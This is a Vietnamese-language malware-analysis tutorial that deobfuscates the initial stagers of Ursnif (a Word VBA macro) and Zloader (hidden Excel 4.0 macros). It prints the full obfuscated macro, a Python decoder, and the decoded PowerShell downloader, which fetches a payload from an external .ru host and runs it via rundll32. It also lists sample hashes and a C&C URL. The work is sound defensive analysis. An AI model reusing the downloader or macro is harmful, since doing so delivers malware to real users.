## Thực hành phân tích mã độc tại bước 1 - Initial Stager
### Mẫu thứ nhất: Ursnif
Ursnif, còn được gọi là Gozi, là một loại mã độc họ Trojan, nổi tiếng với khả năng đánh cắp thông tin tài chính từ các máy tính bị lây nhiễm. Ban đầu xuất hiện vào năm 2007, Ursnif chủ yếu nhắm vào người dùng các dịch vụ ngân hàng trực tuyến, nhằm thu thập thông tin đăng nhập, mật khẩu, và dữ liệu nhạy cảm khác. Nhiều biến thể phát triển qua thời gian, đặc biệt sau khi mã nguồn của nó bị rò rỉ vào năm 2015, Ursnif đã trở thành một trong những mối đe dọa an ninh mạng đáng gờm.
#### Mã Băm Của Mẫu Phần Mềm Độc Hại Sử Dụng Để Giải Nén
| **Kiểu** | **Giá trị Băm** |
|:-------:|:-----------------------------------------------------------------------------:|
| **MD5** | `931dbe630f2b06d47c8908f877edb16d` |
| **SHA-1** | `9f01d4442c495c7128649b98201187bc0c58dedd` |
| **SHA-256** | `580776D602E2EDD816472CA7B9F651740D24313477598C88CC8B9A04A1016394` |

Mở mục "View Macros" [Alt + F8] và trước tiên chúng ta sẽ tìm một hàm auto open, tuy nhiên dường như không có hàm này, mặc dù có một hàm tên là "GotFocus" ở đây. Vì không có hàm auto open và đây là hàm duy nhất có chuỗi hợp lệ, tôi cho rằng đây là điểm bắt đầu.

Ta có thể thấy, có rất nhiều dữ liệu rác ở đây nên nếu bạn đi qua từng dòng để cố gắng hiểu mọi thứ thì sẽ khá khó khăn. Ban đầu, tôi nghĩ rằng những mảng này là dữ liệu thực thi hoặc gì đó, nhưng thực tế không phải vậy. Khi cuộn xuống, bạn có thể nhận thấy rằng có một số dòng không chứa chuỗi "Array()" có các lời gọi hàm. Ta sẽ thấy thực chất là một thủ tục con (subroutine)
Có vẻ như tất cả các dòng chứa mảng mở ngoặc, số, rồi đóng ngoặc thực chất là mã rác. Trong Sublime Text, chúng ta có thể chọn tất cả các dòng đó, sử dụng [Ctrl + F] -> nhấp và Find All -> [Ctrl + Shift + K] để xóa các dòng dư thừa ấy.

Ta có biến được thiết lập làm ActiveDocument. Sau đó, lấy alternative text của tài liệu và lưu nó trong hàm này. Có vẻ như với mỗi giá trị trong mảng được truyền vào (có một mảng được truyền làm tham số đầu tiên), hàm này sẽ tính toán một số giá trị, chuyển đổi một chuỗi, tiếp tục tính toán thêm, sử dụng kết quả đó làm ký tự, rồi lặp lại quá trình sau khi đã tách một số chuỗi.
Khi xác định những hàm quan trọng, ta tiến hành đoạn dẹp đoạn mã không cần thiết. Đầu tiên, hãy xác định vị trí "End Sub", tìm nơi kết thúc của hàm. Khi đã xác định rằng chúng ta không cần bất kỳ thứ gì từ phần mã phía dưới, hãy xóa chúng đi. Bây giờ, chúng ta chỉ còn lại hai hàm quan trọng.

Xử lý các phép toán số học và các tham số, chuỗi đơn giản trước. Hàm `StrConv(<data>, 64)` chuyển đổi chuỗi sang Unicode bằng cách sử dụng trang mã mặc định.

Ta cần xác định giá trị `altText` là gì. Ta có thể thao tác trên macro của Word nhưng khi ấy ta sẽ phải "Enable Edit" và thực thi toàn bộ đoạn mã. Ta chỉ cần sửa tên của hàm `GotFocus` và tắt đi -> mở lại là được. Chương trình yêu cầu ta cần phải thực thi để có thể in ra giá trị `altText`, nên ta cần chạy lệnh in trước khi GotFocus được thực thi (như trong ảnh). Đặt breakpoint tại `getobjtwo.ShellExecute`

Ta thay giá trị của `altText` bằng kết quả vừa có được.
:::info
```javascript!
Sub ogadjbdlgduu()
If (3 + 3 + ThisDocument.Application.InchesToPoints(3 + 3)) Then
Set gfwzhdiqklctbdgwxtlrwyfv = ActiveDocument
altText = "o j q f i a d x c t x v p p y f j m l p q k x q o i a l c r f h y w e p u a c q r x r l c r d o e p u a u h d r h g n y f r z s o s c s h h q u b o k l l h v v x h c v d k . z g v f p g x k u w m s l w p j b - a f y f a h n c m n f l s h e y o c y k z a n l r c e c f d d u b o v i b w b d t i h f d d y b y q i e a c o c k r l j o y g i g i m r v i m s m d b x m c d p o e i a r : k i n j v b t t { w m j b u a i h e i j 9 k m l z k m b j p g k a B q m b s d l d d q e d t A z f a k a h 0 t e l n x j 5 e p f n g y t q 7 j c p m n h o o c i k m s l 2 p m e y z n F w p g a m k 6 x c j c h c y t 8 g h t d p x c q 1 i h q n v a e o o t g m h e C y f p c g g l p w 4 n z s e k b s z s b p 3 b r d e q c c j j } c u h r u v c h w o t \ j i r s c w q W e i f a d r m S u g l n g k h g k g t l v z y v a k i d q w h m "
xxtytqommjogvbx = value_changer(Array(13, 1, 34, 35, 30, 64, 32, 35, 19, 19, 87, 35, 8, 35), altText )
fcvhjrsmilyq = value_changer(Array(105, 59, 1, 13, 118, 105, 35, 8, 35, 9, 118, 73, 15, 13, 6, 64, 64, 118, 105, 34, 5, 59, 118, 32, 5, 7, 7, 35, 59, 118, 105, 59, 1, 59, 5, 118, 105, 35, 118), altText )
ywkkujfenopw = value_changer(Array(324, 192, 368, 376, 5, 59, 7, 1, 34, 64, 368, 384, 15, 64, 10, 35, 18, 346, 277), altText )
srnwrufymp = Me.InlineShapes(3).AlternativeText & Me.InlineShapes(2).AlternativeText
kaurirh = Null
Set getobj = GetObject(value_changer(Array(59, 35, 34, 192, 201, 213, 226, 239, 246, 253, 213, 262, 277, 105, 284, 291, 239, 300, 105, 309, 309, 324, 284, 105, 239, 334, 334, 277, 105, 246, 246, 239, 246, 324, 213, 246, 239, 300, 284, 346, 213, 356), altText )).Item()
Set getobjtwo = getobj.Document.Application
getobjtwo.ShellExecute xxtytqommjogvbx, fcvhjrsmilyq & srnwrufymp, ywkkujfenopw, kaurirh, 0 * 2049
Else
Exit Sub
End If
End Sub
Function value_changer(array, alternative_text)
final_str = ""
For Each num In array
blank = ""
tblijsatoxz = blank & StrConv(alternative_text, 64) & blank
empty = blank & Chr(0) & blank
num_minus_1 = num - 1
split_str = blank & Split(tblijsatoxz, empty)(num_minus_1) & blank
final_str = final_str & split_str
Next num
value_changer = final_str
End Function
```
:::
Ta viết đoạn mã python để giải mã nội dung mà hàm ShellExecute cố gắng thực hiện:
:::info
```python
lookup_table = "ojqfiadxctxvppyfjmlpqkxqoialcrfhywepuacqrxrlcrdoepuauhdrhgnyfrzsoscshhqubokllhvvxhcvdk.zgvfpgxkuwmslwpjb-afyfahncmnfl sheyocykzanlrcecfddubovibwbdtihfddybyqieacockrljoygigimrvimsmdbxmcdpoeiar:kinjvbtt{wmjbuaiheij9kmlzkmbjpgkaBqmbsdlddqedtAzfakah0telnxj5epfngytq7jcpmnhoocikmsl2pmeyznFwpgamk6xcjchcyt8ghtdpxcq1ihqnvaeootgmheCyfpcgglpw4nzsekbszsbp3brdeqccjj}cuhruvchwot\\jirscwqWeifadrmSuglngkhgkgtlvzyvakidqwhm"
def value_change(array):
lookup_length = len(lookup_table)
print (''.join(lookup_table[value - 1] if 1 <= value <= lookup_length else '?' for value in array))
value_change([13, 1, 34, 35, 30, 64, 32, 35, 19, 19, 87, 35, 8, 35])
value_change([105, 59, 1, 13, 118, 105, 35, 8, 35, 9, 118, 73, 15, 13, 6, 64, 64, 118, 105, 34, 5, 59, 118, 32, 5, 7, 7, 35, 59, 118, 105, 59, 1, 59, 5, 118, 105, 35, 118])
value_change([324, 192, 368, 376, 5, 59, 7, 1, 34, 64, 368, 384, 15, 64, 10, 35, 18, 346, 277])
value_change([59, 35, 34, 192, 201, 213, 226, 239, 246, 253, 213, 262, 277, 105, 284, 291, 239, 300, 105, 309, 309, 324, 284, 105, 239, 334, 334, 277, 105, 246, 246, 239, 246, 324, 213, 246, 239, 300, 284, 346, 213, 356])
# powershell.exe
# -nop -exec bypass -win hidden -noni -e
# C:\Windows\System32
# new:{9BA05972-F6A8-11CF-A442-00A0C90A8F39}
```
:::
Nó chạy lệnh PowerShell không tải hồ sơ người dùng (-nop) ở chế độ ẩn (hidden). Cài đặt chính sách thực thi thành "bypass", cho phép chạy các script mà không bị hạn chế (-exec bypass). Báo hiệu rằng đoạn văn bản tiếp theo là một lệnh được mã hóa base64 (-e) Ta tìm hiểu giá trị biến `srnwrufymp` như thế nào.


Kết quả giải mã base64 và xóa kí tự thừa ta được
:::info
```javascript
$wwpspd="udkfwqunqvryfbn";
$ucuagokgahuydv = "ujfnrhzvpittgwsj";
$xufeuge="rsjyqnwqavjd";
function lzbvrodflggxwxvygss{
$scqpnrjtbmmthci="mzgoijpunjjh";
$grzcralqwqbhqny="obaxkhnmlwryuqvpcs";
$trthrpbbpsi="mfkghladxmqakvyj";
$pevrdacqzmhx="rueqfybj";
$rmqfw="twistt";
$voenzfolkcwvzmg="xvxpzdoetpnjrdlm";
$enulxmbyrw="dvfxhiyyupppmyabp";
}
$wixpitayx=$env:userprofile+"\"+$ucuagokgahuydv+".bin";
$rvseongfz="zuagbncjcglrfttjp";
$plyfrhhfo="http://to4karu.ru/ukhseigfuhasfoiuewgfuyasdfasuydfbu.bin";
$kgicpmct="rdeum";
$ojkmzynwovgg = $gkpjxjharr;
$ztnpjokcm="wrwwqzc";
$bxvyobcvj=18;
For ($wwuctdrmmin=0; $wwuctdrmmin -le 27; $wwuctdrmmin++) {
$bxvyobcvj= (34 * $wwuctdrmmin)
}
Function dwnld{
$kzemblhbliy="lgeldgwjn";
While ($ojkmzynwovgg -eq $gkpjxjharr) {
$aculprye="crgebbqgm";
try{
$isgvastnb="qkzlvqtkatldoyg";
$qkwncmsn=&("new-object") net.webclient;
$jnvfkuymupta="uoadduxrna";
$qkwncmsn."DownloadFile"($plyfrhhfo, $wixpitayx);
$vuqseirrjtc="eihl";
If ((.("Get-Item") $wixpitayx)."length" -ge 99463) {
$skmftauh="fqomk";
$ojkmzynwovgg = $cayxwvzhz;
$wgixolhf="tvlbsgxqcf";
Start-Process -FilePath "rundll32.exe" -Args "$wixpitayx, DllRegisterServer";
$ujfiwsolxm="wdrbwwlujsixm";
delf;
$zifjrsg="lyoglkuyory";
exit;
$ytvomvpirmqyqoh="cprpionl";
}
$mzcth="ytscrjylybey";
}
catch
{
$foliwrvts="gdajmuyamxqixpkat";
}
$pcbsy="mcurr";
sleep -s 5;
$onttuyzei="vsyvr";
}
}
$kcusuz=18;
For ($lyvqindj=0; $lyvqindj -le 100; $lyvqindj++) {
$kcusuz= (23 * $lyvqindj)
}
Function delf{
$aqafpot="xhhwqvtgrqm";
try{
$nvqtdgzmi="iacnukhv";
sleep -s 10;
$kgrfsdm="xkonnzvpbtjpuaodi";
Remove-Item -ErrorAction Stop -Path $wixpitayx;
$papjwoja="pxvhpcnplii";
}catch{
$aoiwnnlgwypu="zkurirdfxb";
delf;
$nzhnlxsodd="pssysilrl";
}
}
dwnld;
$eemfgtbxlfcytl="tgkvqy";
```
:::
Đoạn mã PowerShell này dường như thực hiện các hành động sau, nhưng với các tên biến được làm rối, khiến mục đích thực sự của nó khó nhận ra. Đầu tiên, nó thiết lập đường dẫn đến tệp bằng cách kết hợp thư mục hồ sơ của người dùng với một tên tệp ngẫu nhiên có đuôi .bin. Sau đó, nó thiết lập một URL chứa liên kết đến một tệp nhị phân (.bin) có thể sẽ được tải xuống.
Trong hàm DownloadFile, bắt đầu một vòng lặp. Vòng lặp này tạo một đối tượng WebClient để xử lý việc tải xuống tệp từ URL đến đường dẫn đã khai báo. Nếu kích thước tệp được tải lớn hơn 99463 byte, quá trình tải xuống sẽ dừng lại. Sau đó, nó sử dụng rundll32.exe để thực thi tệp đã tải với hàm DllRegisterServer để đăng ký các tệp DLL trong Windows. Sau khi tải xuống và thực thi thành công, nó sẽ gọi hàm DeleteFile để cố gắng xóa tệp đã tải về.
:::info
```javascript
$filePath = $env:userprofile + "\" + "ujfnrhzvpittgwsj" + ".bin";
$fileUrl = "http://to4karu.ru/ukhseigfuhasfoiuewgfuyasdfasuydfbu.bin";
$isDownloading = $true;
$calculationResult = 18;
For ($counter = 0; $counter -le 27; $counter++) {
$calculationResult = (34 * $counter)
}
Function DownloadFile {
$webClient = "lgeldgwjn";
While ($isDownloading -eq $true) {
$status = "crgebbqgm";
try {
$tempVar = "qkzlvqtkatldoyg";
$webClient = New-Object net.webclient;
$tempFile = "uoadduxrna";
$webClient.DownloadFile($fileUrl, $filePath);
If ((Get-Item $filePath).length -ge 99463) {
$status = "fqomk";
$isDownloading = $false;
Start-Process -FilePath "rundll32.exe" -Args "$filePath, DllRegisterServer";
DeleteFile;
exit;
}
} catch {
$errorHandling = "gdajmuyamxqixpkat";
}
sleep -s 5;
}
}
$multiplier = 18;
For ($counter2 = 0; $counter2 -le 100; $counter2++) {
$multiplier = (23 * $counter2)
}
Function DeleteFile {
try {
sleep -s 10;
Remove-Item -ErrorAction Stop -Path $filePath;
} catch {
DeleteFile;
}
}
DownloadFile;
```
:::
### Mẫu thứ hai: Zloader
ZLoader là một loại mã độc nguy hiểm, bắt nguồn từ phần mềm độc hại nổi tiếng Zeus, được thiết kế đặc biệt để đánh cắp thông tin tài chính của người dùng. Được phát tán chủ yếu qua các email lừa đảo và các trang web độc hại, ZLoader đã trở thành mối đe dọa nghiêm trọng đối với các cá nhân và tổ chức tài chính trên toàn thế giới. Với khả năng lẩn tránh các biện pháp bảo mật hiện đại và thu thập dữ liệu nhạy cảm như thông tin đăng nhập ngân hàng, mã độc này đã gây ra nhiều thiệt hại về tài chính và làm gián đoạn các hoạt động kinh doanh.
#### Mã Băm Của Mẫu Phần Mềm Độc Hại Sử Dụng Để Giải Nén
| **Kiểu** | **Giá trị Băm** |
|:-------:|:-----------------------------------------------------------------------------:|
| **MD5** | `8a0ca6f8552f695c798d5d5d519bb5dd` |
| **SHA-1** | `94755aa5645f9d77c290112569ca64e4552c2c64` |
| **SHA-256** | `7A5F625DDE2A180CAAF0F0B9B0FB0D0388A30CA07AC13102A8257070CCF62FCC` |

Mẫu này khá thú vị dựa trên việc nó không sử dụng các macro điển hình mà chúng ta thường thấy. Thay vào đó, nó sử dụng một phương pháp khác để làm rối các macro. Đây sẽ là một phần liên quan đến tự động hóa vì việc phân tích các macro này rất khó khăn và tốn thời gian, do đó, chúng ta sẽ tiếp cận theo hướng phân tích tự động và hành vi.
Chúng ta thấy tài liệu Excel đã được mở ra, mặc dù các macro đã bị vô hiệu hóa, nhưng ngoài điều đó, nó trông giống như một bảng tính bình thường. Trước khi bắt đầu, ta sẽ cần cài đặt Oletools bằng lệnh `pip install oletools`. Ta sử dụng công cụ trong Oletools có tên là `olebrowse`.

Ta chọn DocumentSummaryInformation -> Hex View, dường như có tên của các sheet. Nhưng khi chúng ta mở tài liệu Excel thì chỉ có một sheet duy nhất, nên có vẻ như họ đang giấu các bảng tính theo cách nào đó. Vì vậy, chúng ta cần phải xử lý các bảng tính bị ẩn này và cũng biết rằng tài liệu này sử dụng các macro Excel 4.0.

Bây giờ, ta quay lại menu chính và chọn SummaryInformation. Đây là luồng dữ liệu hex, chỉ hiển thị rằng đây là tài liệu Microsoft Excel. Chúng ta có một chuỗi ký tự kỳ lạ ở đây, nhưng chưa rõ nó được sử dụng để làm gì tại thời điểm này.

Tiếp theo, chúng ta có phần Workbook. Khi xem luồng dữ liệu hex, nó chỉ cho chúng ta một số thông tin, chẳng hạn như "Microsoft Enhanced Cryptographic Provider," và dường như có một số mã hoặc dữ liệu được mã hóa, hoặc có thể chỉ là dạng hex của workbook. Tại thời điểm này, chưa rõ điều này là gì.

Hãy đóng cửa sổ đó và thoát khỏi chương trình. Với các thông tin ta có được, ta sử dụng công cụ khác có tên là `olevba` bằng lệnh `olevba "Maria Martinez.xls"`. Nó thực hiện phân tích cơ bản của tệp và thu thập thông tin về các ô khác nhau mà tài liệu sử dụng.

Chúng ta có thể thấy có rất nhiều công thức ô khác nhau ở đây. Lý do là các macro Excel 4.0 thực sự chứa các lệnh bên trong các ô này. Chúng có thể đơn giản chỉ cần một lệnh như CALL và sau đó là dấu $ cùng với ô mà chúng muốn gọi, ví dụ như H1. Khi lệnh đó được thực thi (đừng quên thêm dấu =), nó sẽ thực thi ô H1, ô này lại chứa một giá trị khác và tiếp tục thực thi giá trị đó, và cứ thế tiếp diễn.

Ta chú ý đến các từ khóa: Open, ShellExecuteA, URLDownloadToFile cũng như lệnh gọi dll vì nó có thể gọi một DLL bằng cách sử dụng macro Excel 4.0.
Ta có tất cả thông tin này về trang tính, nhưng lại không có các hàm độc hại thực sự. Tuy nhiên, có một cách để hiển thị những trang tính ẩn này mà không cần chỉnh sửa hex. Nếu ta nhấn tổ hợp phím Alt và F11, nó sẽ mở trình chỉnh sửa Visual Basic. Nhấn Control G, nó sẽ mở cửa sổ console. Tại đây, ta chạy lệnh: `For Each ws In Sheets: ws.Visible=True: Next`

Dữ liệu và lệnh nằm rải rác trong các ô của các Macro và Sheet. Sẽ rất là khó khăn để ta có thể tìm và phân tích hành vi như thế. Ta sẽ phải dựa vào các từ khóa tìm được ở trên.
Ta có thể tìm kiếm các chuỗi này để xem có thể tìm thấy bất kỳ URL hoặc điều gì khác không. Rõ ràng, không có máy chủ C&C được đề cập. Nhưng chúng ta biết rằng rundll32 được sử dụng và nó được dùng để chạy tệp DLL có tên bysclase.dll. Và tôi đoán rằng tệp này sẽ được tải xuống bằng lệnh URLDownloadToFile. Ta tìm kiếm từ khóa `rundll32.exe`

Chúng ta có một lệnh run, một lệnh call, và một lệnh halt. Lệnh halt cơ bản sẽ dừng việc thực thi như tên gọi của nó. Nếu các lệnh này được thực thi theo trình tự từ trên xuống, nó sẽ thực thi các dòng lệnh này và sau đó gọi halt. Tại thời điểm này, DLL đã được tải xuống sẽ chạy.

Chúng ta có thể thực thi mà không cần làm gì, nhưng vấn đề là nó sẽ thực thi lệnh rundll32 này, và chúng ta không muốn các tiến trình khác xuất hiện. Ta thêm một lệnh halt như hình, để nếu lệnh được thực thi từ trên xuống, nó sẽ dừng lại trước khi thực thi DLL. Theo dõi cửa sổ Process Hacker để đảm bảo rằng không có gì thực thi. Nếu có, chúng ta sẽ phải khởi động lại và có thể thêm một breakpoint halt thay thế lệnh call. Bây giờ, chọn tùy chọn "Enable Content" và chạy nó.

Nếu thực hiện Ctrl+F và tìm http giờ bạn sẽ thấy URL đã được giải mã và lưu trữ tại đây. Đây là máy chủ C&C của Zloader. URL: http://wmwifbajxxbcxmucxmlc.com/
